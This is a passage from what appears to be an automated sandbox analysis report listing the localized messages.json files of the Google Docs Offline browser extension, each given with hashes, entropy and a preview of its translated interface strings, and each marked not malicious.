Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir5412_2001610878\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir5412_2001610878\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5412_2001610878\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5412_2001610878\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir5412_2001610878\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5412_2001610878\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5412_2001610878\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5412_2001610878\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5412_2001610878\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir5412_2001610878\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir5412_2001610878\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5412_2001610878\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5412_2001610878\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir5412_2001610878\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5412_2001610878\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wengine popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5412_2001610878\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir5412_2001610878\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
